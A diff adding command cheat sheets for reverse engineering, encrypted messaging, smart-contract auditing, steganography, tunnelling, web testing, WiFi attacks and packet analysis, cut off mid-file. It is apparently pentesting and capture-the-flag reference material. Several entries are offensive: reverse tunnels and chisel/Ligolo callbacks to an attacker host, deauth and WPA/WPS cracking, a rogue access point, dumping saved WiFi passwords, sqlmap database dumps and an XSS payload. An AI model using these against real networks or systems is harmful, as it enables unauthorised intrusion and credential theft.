# nm - list symbols
|
||||||
|
nm <binary>
|
||||||
|
|
||||||
|
# nm - dynamic symbols
|
||||||
|
nm -D <binary>
|
||||||
|
|
||||||
|
# strings - extract strings
|
||||||
|
strings <binary>
|
||||||
|
strings -n 10 <binary>
|
||||||
|
|
||||||
|
# file - identify binary type
|
||||||
|
file <binary>
|
||||||
|
|
||||||
|
# ldd - list shared libraries
|
||||||
|
ldd <binary>
|
||||||
|
|
||||||
|
# strace - trace syscalls
|
||||||
|
strace <binary>
|
||||||
|
strace -f <binary>
|
||||||
|
|
||||||
|
# ltrace - trace library calls
|
||||||
|
ltrace <binary>
|
||||||
|
|
||||||
|
# Cutter - r2 GUI
|
||||||
|
cutter <binary>
|
||||||
|
|
||||||
|
# Binary Ninja (commercial)
|
||||||
|
binaryninja <binary>
|
||||||
|
|
||||||
|
# IDA Free
|
||||||
|
ida64 <binary>
|
||||||
|
|
||||||
|
# checksec - binary protections
|
||||||
|
checksec --file=<binary>
|
||||||
|
|
||||||
|
# ROPgadget - find gadgets
|
||||||
|
ROPgadget --binary <binary>
|
||||||
|
|
||||||
|
# pwntools (Python)
|
||||||
|
# from pwn import *
|
||||||
|
# elf = ELF('<binary>')
|
||||||
|
|
||||||
|
$ binary: find . -type f -executable 2>/dev/null | head -10
|
||||||
|
$ project_dir: echo "/tmp/ghidra_projects"
|
||||||
|
$ project_name: echo "analysis"
|
||||||
|
$ script: echo ""
|
||||||
129
secure-comms.cheat
Normal file
129
secure-comms.cheat
Normal file
|
|
@ -0,0 +1,129 @@
|
||||||
|
% comms, signal, matrix, encrypted, messaging
|
||||||
|
|
||||||
|
# Signal CLI - register
|
||||||
|
signal-cli -u <phone_number> register
|
||||||
|
|
||||||
|
# Signal CLI - verify
|
||||||
|
signal-cli -u <phone_number> verify <code>
|
||||||
|
|
||||||
|
# Signal CLI - send message
|
||||||
|
signal-cli -u <phone_number> send -m "<message>" <recipient>
|
||||||
|
|
||||||
|
# Signal CLI - send to group
|
||||||
|
signal-cli -u <phone_number> send -m "<message>" -g <group_id>
|
||||||
|
|
||||||
|
# Signal CLI - receive messages
|
||||||
|
signal-cli -u <phone_number> receive
|
||||||
|
|
||||||
|
# Signal CLI - list groups
|
||||||
|
signal-cli -u <phone_number> listGroups
|
||||||
|
|
||||||
|
# Signal CLI - create group
|
||||||
|
signal-cli -u <phone_number> createGroup -n "<group_name>" -m <member1> <member2>
|
||||||
|
|
||||||
|
# Signal CLI - daemon mode
|
||||||
|
signal-cli -u <phone_number> daemon
|
||||||
|
|
||||||
|
# Matrix - login with element-cli
|
||||||
|
element-cli login <homeserver> <username> <password>
|
||||||
|
|
||||||
|
# Matrix - send message (Python SDK)
|
||||||
|
# pip install matrix-nio
|
||||||
|
# See nio documentation
|
||||||
|
|
||||||
|
# Matrix CLI - gomuks (TUI client)
|
||||||
|
gomuks
|
||||||
|
|
||||||
|
# Matrix CLI - matrixcli
|
||||||
|
matrixcli -s <homeserver> -u <username> send <room_id> "<message>"
|
||||||
|
|
||||||
|
# SimpleX Chat - start
|
||||||
|
simplex-chat
|
||||||
|
|
||||||
|
# Briar - desktop
|
||||||
|
briar-desktop
|
||||||
|
|
||||||
|
# Session messenger
|
||||||
|
session-desktop
|
||||||
|
|
||||||
|
# Keybase - login
|
||||||
|
keybase login
|
||||||
|
|
||||||
|
# Keybase - send message
|
||||||
|
keybase chat send <username> "<message>"
|
||||||
|
|
||||||
|
# Keybase - encrypt file
|
||||||
|
keybase encrypt <username> -i <input_file> -o <output_file>
|
||||||
|
|
||||||
|
# Keybase - decrypt file
|
||||||
|
keybase decrypt -i <input_file> -o <output_file>
|
||||||
|
|
||||||
|
# Keybase - sign file
|
||||||
|
keybase sign -i <input_file> -o <output_file.sig>
|
||||||
|
|
||||||
|
# Keybase - verify signature
|
||||||
|
keybase verify -i <file.sig>
|
||||||
|
|
||||||
|
# GPG - encrypt for recipient
|
||||||
|
gpg -e -r <recipient> <file>
|
||||||
|
|
||||||
|
# GPG - sign and encrypt
|
||||||
|
gpg -se -r <recipient> <file>
|
||||||
|
|
||||||
|
# GPG - decrypt
|
||||||
|
gpg -d <file.gpg>
|
||||||
|
|
||||||
|
# age - encrypt for recipient
|
||||||
|
age -r <public_key> -o <output.age> <input_file>
|
||||||
|
|
||||||
|
# age - encrypt with passphrase
|
||||||
|
age -p -o <output.age> <input_file>
|
||||||
|
|
||||||
|
# age - decrypt
|
||||||
|
age -d -i <key_file> -o <output> <input.age>
|
||||||
|
|
||||||
|
# OnionShare - share files over Tor
|
||||||
|
onionshare-cli <file>
|
||||||
|
|
||||||
|
# OnionShare - receive files
|
||||||
|
onionshare-cli --receive
|
||||||
|
|
||||||
|
# OnionShare - chat
|
||||||
|
onionshare-cli --chat
|
||||||
|
|
||||||
|
# Magic Wormhole - send file
|
||||||
|
wormhole send <file>
|
||||||
|
|
||||||
|
# Magic Wormhole - receive
|
||||||
|
wormhole receive <code>
|
||||||
|
|
||||||
|
# Croc - send file
|
||||||
|
croc send <file>
|
||||||
|
|
||||||
|
# Croc - receive
|
||||||
|
croc <code>
|
||||||
|
|
||||||
|
# XMPP with profanity
|
||||||
|
profanity
|
||||||
|
|
||||||
|
# IRC with weechat (+ OTR)
|
||||||
|
weechat
|
||||||
|
|
||||||
|
# Ricochet Refresh (Tor messenger)
|
||||||
|
ricochet-refresh
|
||||||
|
|
||||||
|
$ phone_number: echo "+1234567890"
|
||||||
|
$ recipient: echo "+1234567890"
|
||||||
|
$ code: echo ""
|
||||||
|
$ message: echo ""
|
||||||
|
$ group_id: echo ""
|
||||||
|
$ group_name: echo ""
|
||||||
|
$ homeserver: echo "https://matrix.org"
|
||||||
|
$ username: echo ""
|
||||||
|
$ password: echo ""
|
||||||
|
$ room_id: echo ""
|
||||||
|
$ public_key: echo "age1..."
|
||||||
|
$ key_file: echo "key.txt"
|
||||||
|
$ input_file: find . -type f 2>/dev/null | head -10
|
||||||
|
$ output_file: echo "encrypted"
|
||||||
|
$ file: find . -type f 2>/dev/null | head -10
|
||||||
129
solidity.cheat
Normal file
129
solidity.cheat
Normal file
|
|
@ -0,0 +1,129 @@
|
||||||
|
% solidity, audit, smartcontract, ethereum, foundry
|
||||||
|
|
||||||
|
# Foundry - create new project
|
||||||
|
forge init <project_name>
|
||||||
|
|
||||||
|
# Foundry - build/compile
|
||||||
|
forge build
|
||||||
|
|
||||||
|
# Foundry - run tests
|
||||||
|
forge test
|
||||||
|
|
||||||
|
# Foundry - run tests verbose
|
||||||
|
forge test -vvvv
|
||||||
|
|
||||||
|
# Foundry - run specific test
|
||||||
|
forge test --match-test <test_name>
|
||||||
|
|
||||||
|
# Foundry - gas report
|
||||||
|
forge test --gas-report
|
||||||
|
|
||||||
|
# Foundry - coverage
|
||||||
|
forge coverage
|
||||||
|
|
||||||
|
# Foundry - deploy contract
|
||||||
|
forge create <contract> --rpc-url <rpc_url> --private-key <private_key>
|
||||||
|
|
||||||
|
# Foundry - verify contract
|
||||||
|
forge verify-contract <address> <contract> --chain <chain_id>
|
||||||
|
|
||||||
|
# Cast - call read function
|
||||||
|
cast call <contract_address> "<function_sig>" --rpc-url <rpc_url>
|
||||||
|
|
||||||
|
# Cast - send transaction
|
||||||
|
cast send <contract_address> "<function_sig>" --rpc-url <rpc_url> --private-key <private_key>
|
||||||
|
|
||||||
|
# Cast - decode calldata
|
||||||
|
cast calldata-decode "<function_sig>" <calldata>
|
||||||
|
|
||||||
|
# Cast - get storage slot
|
||||||
|
cast storage <contract_address> <slot> --rpc-url <rpc_url>
|
||||||
|
|
||||||
|
# Cast - keccak256 hash
|
||||||
|
cast keccak "<text>"
|
||||||
|
|
||||||
|
# Cast - convert to wei
|
||||||
|
cast to-wei <amount> ether
|
||||||
|
|
||||||
|
# Cast - convert from wei
|
||||||
|
cast from-wei <amount>
|
||||||
|
|
||||||
|
# Slither - full analysis
|
||||||
|
slither <contract_or_dir>
|
||||||
|
|
||||||
|
# Slither - specific detectors
|
||||||
|
slither <contract> --detect <detector>
|
||||||
|
|
||||||
|
# Slither - print contract summary
|
||||||
|
slither <contract> --print contract-summary
|
||||||
|
|
||||||
|
# Slither - print function summary
|
||||||
|
slither <contract> --print function-summary
|
||||||
|
|
||||||
|
# Slither - print inheritance
|
||||||
|
slither <contract> --print inheritance-graph
|
||||||
|
|
||||||
|
# Slither - human summary
|
||||||
|
slither <contract> --print human-summary
|
||||||
|
|
||||||
|
# Slither - list detectors
|
||||||
|
slither --list-detectors
|
||||||
|
|
||||||
|
# Mythril - analyze contract
|
||||||
|
myth analyze <contract.sol>
|
||||||
|
|
||||||
|
# Mythril - analyze deployed contract
|
||||||
|
myth analyze --address <contract_address> --rpc <rpc_url>
|
||||||
|
|
||||||
|
# Mythril - execution timeout
|
||||||
|
myth analyze <contract.sol> --execution-timeout 300
|
||||||
|
|
||||||
|
# Echidna - fuzz testing
|
||||||
|
echidna <contract.sol> --contract <contract_name>
|
||||||
|
|
||||||
|
# Echidna - with config
|
||||||
|
echidna <contract.sol> --contract <contract_name> --config echidna.yaml
|
||||||
|
|
||||||
|
# Aderyn - static analysis (Rust-based, fast)
|
||||||
|
aderyn <contract_or_dir>
|
||||||
|
|
||||||
|
# Solhint - linter
|
||||||
|
solhint <contract.sol>
|
||||||
|
|
||||||
|
# Solhint - init config
|
||||||
|
solhint --init
|
||||||
|
|
||||||
|
# Common vulnerability patterns to check:
|
||||||
|
# - Reentrancy (external calls before state changes)
|
||||||
|
# - Integer overflow/underflow (pre-0.8.0)
|
||||||
|
# - Unchecked return values
|
||||||
|
# - Access control issues
|
||||||
|
# - Front-running susceptibility
|
||||||
|
# - Oracle manipulation
|
||||||
|
# - Flash loan attacks
|
||||||
|
# - Delegate call to untrusted contract
|
||||||
|
|
||||||
|
# Check for selfdestruct
|
||||||
|
grep -rn "selfdestruct\|suicide" <dir>
|
||||||
|
|
||||||
|
# Check for delegatecall
|
||||||
|
grep -rn "delegatecall" <dir>
|
||||||
|
|
||||||
|
# Check for tx.origin
|
||||||
|
grep -rn "tx.origin" <dir>
|
||||||
|
|
||||||
|
# Check for inline assembly
|
||||||
|
grep -rn "assembly" <dir>
|
||||||
|
|
||||||
|
$ project_name: echo "my_project"
|
||||||
|
$ contract: find . -name "*.sol" 2>/dev/null | head -10
|
||||||
|
$ contract_or_dir: echo "."
|
||||||
|
$ contract_address: echo "0x..."
|
||||||
|
$ rpc_url: echo "https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY"
|
||||||
|
$ private_key: echo ""
|
||||||
|
$ function_sig: echo "balanceOf(address)"
|
||||||
|
$ test_name: echo "test"
|
||||||
|
$ detector: echo "reentrancy-eth\nreentrancy-no-eth\narbitrary-send\nsuicide\nuninitialized-storage"
|
||||||
|
$ chain_id: echo "1\n5\n137\n42161" --- --header "1=mainnet, 5=goerli, 137=polygon, 42161=arbitrum"
|
||||||
|
$ slot: echo "0"
|
||||||
|
$ dir: echo "src/"
|
||||||
117
steganography.cheat
Normal file
117
steganography.cheat
Normal file
|
|
@ -0,0 +1,117 @@
|
||||||
|
% steganography, stego, hidden, ctf
|
||||||
|
|
||||||
|
# steghide - extract hidden data
|
||||||
|
steghide extract -sf <image>
|
||||||
|
|
||||||
|
# steghide - extract with password
|
||||||
|
steghide extract -sf <image> -p <password>
|
||||||
|
|
||||||
|
# steghide - embed data
|
||||||
|
steghide embed -cf <cover_image> -ef <secret_file>
|
||||||
|
|
||||||
|
# steghide - info about file
|
||||||
|
steghide info <image>
|
||||||
|
|
||||||
|
# stegseek - crack steghide password
|
||||||
|
stegseek <image> <wordlist>
|
||||||
|
|
||||||
|
# stegseek - without wordlist (rockyou default)
|
||||||
|
stegseek <image>
|
||||||
|
|
||||||
|
# zsteg - PNG/BMP analysis
|
||||||
|
zsteg <image>
|
||||||
|
|
||||||
|
# zsteg - all checks
|
||||||
|
zsteg -a <image>
|
||||||
|
|
||||||
|
# binwalk - scan for embedded files
|
||||||
|
binwalk <file>
|
||||||
|
|
||||||
|
# binwalk - extract embedded files
|
||||||
|
binwalk -e <file>
|
||||||
|
|
||||||
|
# binwalk - extract with matryoshka
|
||||||
|
binwalk -eM <file>
|
||||||
|
|
||||||
|
# foremost - file carving
|
||||||
|
foremost -i <file> -o <output_dir>
|
||||||
|
|
||||||
|
# exiftool - view all metadata
|
||||||
|
exiftool <file>
|
||||||
|
|
||||||
|
# exiftool - view specific tag
|
||||||
|
exiftool -Comment <file>
|
||||||
|
|
||||||
|
# strings - find hidden text
|
||||||
|
strings <file>
|
||||||
|
strings -n 10 <file>
|
||||||
|
|
||||||
|
# xxd - hex dump
|
||||||
|
xxd <file> | head -50
|
||||||
|
|
||||||
|
# Check file magic bytes
|
||||||
|
xxd -l 16 <file>
|
||||||
|
file <file>
|
||||||
|
|
||||||
|
# pngcheck - PNG structure
|
||||||
|
pngcheck -v <image>
|
||||||
|
|
||||||
|
# stegoveritas - multiple stego checks
|
||||||
|
stegoveritas <image>
|
||||||
|
|
||||||
|
# openstego - extract (GUI tool)
|
||||||
|
openstego extract -sf <image> -xd <output_dir>
|
||||||
|
|
||||||
|
# outguess - extract
|
||||||
|
outguess -r <image> <output_file>
|
||||||
|
|
||||||
|
# jsteg - JPEG steganography
|
||||||
|
jsteg reveal <image>
|
||||||
|
|
||||||
|
# Audio steganography - Audacity
|
||||||
|
# Open in Audacity, check spectrogram view
|
||||||
|
|
||||||
|
# Audio steganography - sonic-visualiser
|
||||||
|
sonic-visualiser <audio_file>
|
||||||
|
|
||||||
|
# LSB extraction with Python
|
||||||
|
# from PIL import Image
|
||||||
|
# img = Image.open('image.png')
|
||||||
|
# Extract least significant bits
|
||||||
|
|
||||||
|
# Check for appended data
|
||||||
|
# Compare file size to expected size
|
||||||
|
# Look for data after EOF marker
|
||||||
|
|
||||||
|
# SNOW - whitespace steganography
|
||||||
|
snow -C <text_file>
|
||||||
|
|
||||||
|
# stegsnow - extract from whitespace
|
||||||
|
stegsnow -C <text_file>
|
||||||
|
|
||||||
|
# PDF steganography - check streams
|
||||||
|
pdf-parser <pdf_file>
|
||||||
|
pdftotext <pdf_file>
|
||||||
|
|
||||||
|
# QR code extraction
|
||||||
|
zbarimg <image>
|
||||||
|
|
||||||
|
# Common CTF stego workflow:
|
||||||
|
# 1. file / xxd - identify type
|
||||||
|
# 2. exiftool - check metadata
|
||||||
|
# 3. strings - hidden text
|
||||||
|
# 4. binwalk - embedded files
|
||||||
|
# 5. steghide/stegseek - hidden data
|
||||||
|
# 6. zsteg - LSB for PNG
|
||||||
|
|
||||||
|
$ image: find . -name "*.jpg" -o -name "*.png" -o -name "*.bmp" 2>/dev/null | head -10
|
||||||
|
$ file: find . -type f 2>/dev/null | head -10
|
||||||
|
$ cover_image: find . -name "*.jpg" 2>/dev/null | head -5
|
||||||
|
$ secret_file: echo "secret.txt"
|
||||||
|
$ password: echo ""
|
||||||
|
$ wordlist: echo "/usr/share/wordlists/rockyou.txt"
|
||||||
|
$ output_dir: echo "extracted"
|
||||||
|
$ output_file: echo "output.txt"
|
||||||
|
$ text_file: find . -name "*.txt" 2>/dev/null | head -5
|
||||||
|
$ audio_file: find . -name "*.wav" -o -name "*.mp3" 2>/dev/null | head -5
|
||||||
|
$ pdf_file: find . -name "*.pdf" 2>/dev/null | head -5
|
||||||
114
tunnels.cheat
Normal file
114
tunnels.cheat
Normal file
|
|
@ -0,0 +1,114 @@
|
||||||
|
% tunnels, ssh, pivoting, portforward, proxy
|
||||||
|
|
||||||
|
# SSH local port forward
|
||||||
|
ssh -L <local_port>:<target_host>:<target_port> <user>@<jump_host>
|
||||||
|
|
||||||
|
# SSH remote port forward
|
||||||
|
ssh -R <remote_port>:<local_host>:<local_port> <user>@<remote_host>
|
||||||
|
|
||||||
|
# SSH dynamic SOCKS proxy
|
||||||
|
ssh -D <socks_port> <user>@<host>
|
||||||
|
|
||||||
|
# SSH with ProxyJump (bastion)
|
||||||
|
ssh -J <user>@<jump_host> <user>@<target_host>
|
||||||
|
|
||||||
|
# SSH tunnel background
|
||||||
|
ssh -fN -L <local_port>:<target_host>:<target_port> <user>@<jump_host>
|
||||||
|
|
||||||
|
# SSH reverse tunnel (callback)
|
||||||
|
ssh -fN -R <remote_port>:localhost:22 <user>@<attacker_host>
|
||||||
|
|
||||||
|
# Chisel server (on attacker)
|
||||||
|
chisel server -p <port> --reverse
|
||||||
|
|
||||||
|
# Chisel client reverse SOCKS
|
||||||
|
chisel client <attacker_ip>:<port> R:socks
|
||||||
|
|
||||||
|
# Chisel client port forward
|
||||||
|
chisel client <attacker_ip>:<port> R:<remote_port>:<target_host>:<target_port>
|
||||||
|
|
||||||
|
# Chisel client local forward
|
||||||
|
chisel client <server_ip>:<port> <local_port>:<target_host>:<target_port>
|
||||||
|
|
||||||
|
# Ligolo-ng proxy (attacker)
|
||||||
|
./proxy -selfcert
|
||||||
|
|
||||||
|
# Ligolo-ng agent (victim)
|
||||||
|
./agent -connect <attacker_ip>:11601 -ignore-cert
|
||||||
|
|
||||||
|
# Socat port forward
|
||||||
|
socat TCP-LISTEN:<local_port>,fork TCP:<target_host>:<target_port>
|
||||||
|
|
||||||
|
# Socat file transfer
|
||||||
|
# Receiver:
|
||||||
|
socat TCP-LISTEN:<port>,fork file:<output_file>,create
|
||||||
|
# Sender:
|
||||||
|
socat TCP:<target>:<port> file:<input_file>
|
||||||
|
|
||||||
|
# Netcat relay
|
||||||
|
nc -lvp <port1> | nc <target> <port2>
|
||||||
|
|
||||||
|
# Proxychains with nmap
|
||||||
|
proxychains nmap -sT -Pn <target>
|
||||||
|
|
||||||
|
# Proxychains any command
|
||||||
|
proxychains <command>
|
||||||
|
|
||||||
|
# Edit proxychains config
|
||||||
|
# /etc/proxychains4.conf
|
||||||
|
# socks5 127.0.0.1 1080
|
||||||
|
|
||||||
|
# WireGuard - generate keys
|
||||||
|
wg genkey | tee privatekey | wg pubkey > publickey
|
||||||
|
|
||||||
|
# WireGuard - quick up
|
||||||
|
wg-quick up <interface>
|
||||||
|
|
||||||
|
# WireGuard - quick down
|
||||||
|
wg-quick down <interface>
|
||||||
|
|
||||||
|
# WireGuard - show status
|
||||||
|
wg show
|
||||||
|
|
||||||
|
# sshuttle - VPN over SSH
|
||||||
|
sshuttle -r <user>@<host> <network_cidr>
|
||||||
|
|
||||||
|
# sshuttle - all traffic
|
||||||
|
sshuttle -r <user>@<host> 0/0
|
||||||
|
|
||||||
|
# Metasploit portfwd
|
||||||
|
# portfwd add -l <local> -p <remote_port> -r <target>
|
||||||
|
|
||||||
|
# Meterpreter autoroute
|
||||||
|
# run autoroute -s <subnet>
|
||||||
|
|
||||||
|
# plink (Windows SSH)
|
||||||
|
plink.exe -L <local_port>:<target>:<target_port> <user>@<host>
|
||||||
|
|
||||||
|
# netsh port forward (Windows)
|
||||||
|
netsh interface portproxy add v4tov4 listenport=<local_port> listenaddress=0.0.0.0 connectport=<target_port> connectaddress=<target_host>
|
||||||
|
|
||||||
|
# netsh show forwards
|
||||||
|
netsh interface portproxy show all
|
||||||
|
|
||||||
|
# netsh delete forward
|
||||||
|
netsh interface portproxy delete v4tov4 listenport=<local_port> listenaddress=0.0.0.0
|
||||||
|
|
||||||
|
$ local_port: echo "8080"
|
||||||
|
$ target_host: echo ""
|
||||||
|
$ target_port: echo "80"
|
||||||
|
$ user: echo ""
|
||||||
|
$ jump_host: echo ""
|
||||||
|
$ remote_host: echo ""
|
||||||
|
$ remote_port: echo "9999"
|
||||||
|
$ local_host: echo "127.0.0.1"
|
||||||
|
$ socks_port: echo "1080"
|
||||||
|
$ host: echo ""
|
||||||
|
$ attacker_ip: echo ""
|
||||||
|
$ attacker_host: echo ""
|
||||||
|
$ port: echo "8080"
|
||||||
|
$ server_ip: echo ""
|
||||||
|
$ network_cidr: echo "10.0.0.0/24"
|
||||||
|
$ interface: echo "wg0"
|
||||||
|
$ output_file: echo "received_file"
|
||||||
|
$ input_file: find . -type f 2>/dev/null | head -5
|
||||||
59
web.cheat
Normal file
59
web.cheat
Normal file
|
|
@ -0,0 +1,59 @@
|
||||||
|
% web, webapp, burp, fuzzing
|
||||||
|
|
||||||
|
# Directory fuzzing with ffuf
|
||||||
|
ffuf -u http://<target>/FUZZ -w <wordlist>
|
||||||
|
|
||||||
|
# Directory fuzzing with extensions
|
||||||
|
ffuf -u http://<target>/FUZZ -w <wordlist> -e .php,.html,.txt,.bak
|
||||||
|
|
||||||
|
# Subdomain fuzzing
|
||||||
|
ffuf -u http://FUZZ.<domain> -w <wordlist> -H "Host: FUZZ.<domain>"
|
||||||
|
|
||||||
|
# POST parameter fuzzing
|
||||||
|
ffuf -u http://<target>/login -X POST -d "username=admin&password=FUZZ" -w <wordlist>
|
||||||
|
|
||||||
|
# Filter by status code
|
||||||
|
ffuf -u http://<target>/FUZZ -w <wordlist> -fc 404
|
||||||
|
|
||||||
|
# Filter by response size
|
||||||
|
ffuf -u http://<target>/FUZZ -w <wordlist> -fs 0
|
||||||
|
|
||||||
|
# Gobuster directory scan
|
||||||
|
gobuster dir -u http://<target> -w <wordlist>
|
||||||
|
|
||||||
|
# Gobuster with extensions
|
||||||
|
gobuster dir -u http://<target> -w <wordlist> -x php,html,txt
|
||||||
|
|
||||||
|
# Nikto scan
|
||||||
|
nikto -h http://<target>
|
||||||
|
|
||||||
|
# WhatWeb (technology detection)
|
||||||
|
whatweb http://<target>
|
||||||
|
|
||||||
|
# SQLMap basic
|
||||||
|
sqlmap -u "http://<target>/page.php?id=1" --batch
|
||||||
|
|
||||||
|
# SQLMap dump database
|
||||||
|
sqlmap -u "http://<target>/page.php?id=1" --dbs --batch
|
||||||
|
|
||||||
|
# SQLMap dump tables
|
||||||
|
sqlmap -u "http://<target>/page.php?id=1" -D <database> --tables --batch
|
||||||
|
|
||||||
|
# XSS test payload
|
||||||
|
<script>alert('XSS')</script>
|
||||||
|
|
||||||
|
# Curl with POST data
|
||||||
|
curl -X POST http://<target>/login -d "username=admin&password=test" -v
|
||||||
|
|
||||||
|
# Curl with cookies
|
||||||
|
curl http://<target> -b "session=<cookie>"
|
||||||
|
|
||||||
|
# Curl with headers
|
||||||
|
curl http://<target> -H "Authorization: Bearer <token>"
|
||||||
|
|
||||||
|
$ target: echo ""
|
||||||
|
$ domain: echo ""
|
||||||
|
$ wordlist: echo "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt"
|
||||||
|
$ database: echo ""
|
||||||
|
$ cookie: echo ""
|
||||||
|
$ token: echo ""
|
||||||
89
wireless.cheat
Normal file
89
wireless.cheat
Normal file
|
|
@ -0,0 +1,89 @@
|
||||||
|
% wireless, wifi, aircrack, wpa, hacking
|
||||||
|
|
||||||
|
# Check wireless interfaces
|
||||||
|
iwconfig
|
||||||
|
|
||||||
|
# Kill interfering processes
|
||||||
|
sudo airmon-ng check kill
|
||||||
|
|
||||||
|
# Start monitor mode
|
||||||
|
sudo airmon-ng start <interface>
|
||||||
|
|
||||||
|
# Stop monitor mode
|
||||||
|
sudo airmon-ng stop <monitor_interface>
|
||||||
|
|
||||||
|
# Scan for networks
|
||||||
|
sudo airodump-ng <monitor_interface>
|
||||||
|
|
||||||
|
# Target specific network (capture handshake)
|
||||||
|
sudo airodump-ng -c <channel> --bssid <bssid> -w <output_prefix> <monitor_interface>
|
||||||
|
|
||||||
|
# Deauth attack (force handshake)
|
||||||
|
sudo aireplay-ng -0 <count> -a <bssid> -c <client_mac> <monitor_interface>
|
||||||
|
|
||||||
|
# Deauth broadcast (all clients)
|
||||||
|
sudo aireplay-ng -0 <count> -a <bssid> <monitor_interface>
|
||||||
|
|
||||||
|
# Crack WPA/WPA2 handshake
|
||||||
|
aircrack-ng -w <wordlist> -b <bssid> <capture_file>
|
||||||
|
|
||||||
|
# Crack with hashcat (faster - convert first)
|
||||||
|
cap2hccapx <capture_file> output.hccapx
|
||||||
|
hashcat -m 22000 output.hccapx <wordlist>
|
||||||
|
|
||||||
|
# PMKID attack (no handshake needed)
|
||||||
|
sudo hcxdumptool -i <monitor_interface> -o pmkid.pcapng --enable_status=1
|
||||||
|
|
||||||
|
# Convert PMKID for hashcat
|
||||||
|
hcxpcapngtool -o hash.22000 pmkid.pcapng
|
||||||
|
hashcat -m 22000 hash.22000 <wordlist>
|
||||||
|
|
||||||
|
# Fake AP with hostapd-wpe
|
||||||
|
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
|
||||||
|
|
||||||
|
# WPS attack with reaver
|
||||||
|
sudo reaver -i <monitor_interface> -b <bssid> -vv
|
||||||
|
|
||||||
|
# WPS attack with bully
|
||||||
|
sudo bully -b <bssid> -c <channel> <monitor_interface>
|
||||||
|
|
||||||
|
# Pixie dust attack (WPS)
|
||||||
|
sudo reaver -i <monitor_interface> -b <bssid> -vv -K 1
|
||||||
|
|
||||||
|
# Wifite - automated attacks
|
||||||
|
sudo wifite
|
||||||
|
|
||||||
|
# Wifite - WPA only
|
||||||
|
sudo wifite --wpa
|
||||||
|
|
||||||
|
# Check if handshake captured
|
||||||
|
aircrack-ng <capture_file>
|
||||||
|
|
||||||
|
# Create wordlist from AP info
|
||||||
|
crunch 8 8 -t <ssid>%%%% -o custom_wordlist.txt
|
||||||
|
|
||||||
|
# Wash - find WPS enabled APs
|
||||||
|
sudo wash -i <monitor_interface>
|
||||||
|
|
||||||
|
# Fern WiFi Cracker (GUI)
|
||||||
|
sudo fern-wifi-cracker
|
||||||
|
|
||||||
|
# Kismet - wireless detection
|
||||||
|
kismet
|
||||||
|
|
||||||
|
# Show saved WiFi passwords (Linux)
|
||||||
|
sudo cat /etc/NetworkManager/system-connections/* | grep psk=
|
||||||
|
|
||||||
|
# Show saved WiFi passwords (Windows)
|
||||||
|
netsh wlan show profile name="<ssid>" key=clear
|
||||||
|
|
||||||
|
$ interface: iw dev | grep Interface | awk '{print $2}'
|
||||||
|
$ monitor_interface: iw dev | grep Interface | awk '{print $2}' | head -1
|
||||||
|
$ channel: echo "1\n6\n11"
|
||||||
|
$ bssid: echo ""
|
||||||
|
$ client_mac: echo ""
|
||||||
|
$ output_prefix: echo "capture"
|
||||||
|
$ capture_file: find . -name "*.cap" -o -name "*.pcap" 2>/dev/null
|
||||||
|
$ wordlist: echo "/usr/share/wordlists/rockyou.txt"
|
||||||
|
$ count: echo "5\n10\n0" --- --header "0=continuous"
|
||||||
|
$ ssid: echo ""
|
||||||
94
wireshark.cheat
Normal file
94
wireshark.cheat
Normal file
|
|
@ -0,0 +1,94 @@
|
||||||
|
% wireshark, tshark, tcpdump, packets, network-analysis
|
||||||
|
|
||||||
|
# Wireshark - open GUI
|
||||||
|
wireshark
|
||||||
|
|
||||||
|
# Wireshark - open specific file
|
||||||
|
wireshark <pcap_file>
|
||||||
|
|
||||||
|
# tshark - capture on interface
|
||||||
|
sudo tshark -i <interface>
|
||||||
|
|
||||||
|
# tshark - capture to file
|
||||||
|
sudo tshark -i <interface> -w <output_pcap>
|
||||||
|
|
||||||
|
# tshark - read pcap file
|
||||||
|
tshark -r <pcap_file>
|
||||||
|
|
||||||
|
# tshark - filter by IP
|
||||||
|
tshark -r <pcap_file> -Y "ip.addr == <ip>"
|
||||||
|
|
||||||
|
# tshark - filter by port
|
||||||
|
tshark -r <pcap_file> -Y "tcp.port == <port>"
|
||||||
|
|
||||||
|
# tshark - HTTP traffic only
|
||||||
|
tshark -r <pcap_file> -Y "http"
|
||||||
|
|
||||||
|
# tshark - DNS traffic only
|
||||||
|
tshark -r <pcap_file> -Y "dns"
|
||||||
|
|
||||||
|
# tshark - follow TCP stream
|
||||||
|
tshark -r <pcap_file> -z follow,tcp,ascii,<stream_number>
|
||||||
|
|
||||||
|
# tshark - extract HTTP objects
|
||||||
|
tshark -r <pcap_file> --export-objects http,<output_dir>
|
||||||
|
|
||||||
|
# tshark - show conversations
|
||||||
|
tshark -r <pcap_file> -z conv,tcp
|
||||||
|
|
||||||
|
# tshark - protocol hierarchy
|
||||||
|
tshark -r <pcap_file> -z io,phs
|
||||||
|
|
||||||
|
# tshark - credentials (basic)
|
||||||
|
tshark -r <pcap_file> -Y "http.authorization or ftp.request.command == USER or ftp.request.command == PASS"
|
||||||
|
|
||||||
|
# tcpdump - capture on interface
|
||||||
|
sudo tcpdump -i <interface>
|
||||||
|
|
||||||
|
# tcpdump - capture to file
|
||||||
|
sudo tcpdump -i <interface> -w <output_pcap>
|
||||||
|
|
||||||
|
# tcpdump - read pcap
|
||||||
|
tcpdump -r <pcap_file>
|
||||||
|
|
||||||
|
# tcpdump - filter by host
|
||||||
|
sudo tcpdump -i <interface> host <ip>
|
||||||
|
|
||||||
|
# tcpdump - filter by port
|
||||||
|
sudo tcpdump -i <interface> port <port>
|
||||||
|
|
||||||
|
# tcpdump - filter by network
|
||||||
|
sudo tcpdump -i <interface> net <network_cidr>
|
||||||
|
|
||||||
|
# tcpdump - verbose with hex
|
||||||
|
sudo tcpdump -i <interface> -XX -vv
|
||||||
|
|
||||||
|
# tcpdump - no DNS resolution
|
||||||
|
sudo tcpdump -i <interface> -n
|
||||||
|
|
||||||
|
# Common Wireshark display filters:
|
||||||
|
# ip.addr == 192.168.1.1
|
||||||
|
# tcp.port == 443
|
||||||
|
# http.request.method == "POST"
|
||||||
|
# dns.qry.name contains "evil"
|
||||||
|
# tcp.flags.syn == 1 and tcp.flags.ack == 0
|
||||||
|
# frame contains "password"
|
||||||
|
# ssl.handshake.type == 1
|
||||||
|
|
||||||
|
# Extract files from pcap with binwalk
|
||||||
|
binwalk -e <pcap_file>
|
||||||
|
|
||||||
|
# NetworkMiner (GUI) - extract artifacts
|
||||||
|
networkminer <pcap_file>
|
||||||
|
|
||||||
|
# Zeek - generate logs from pcap
|
||||||
|
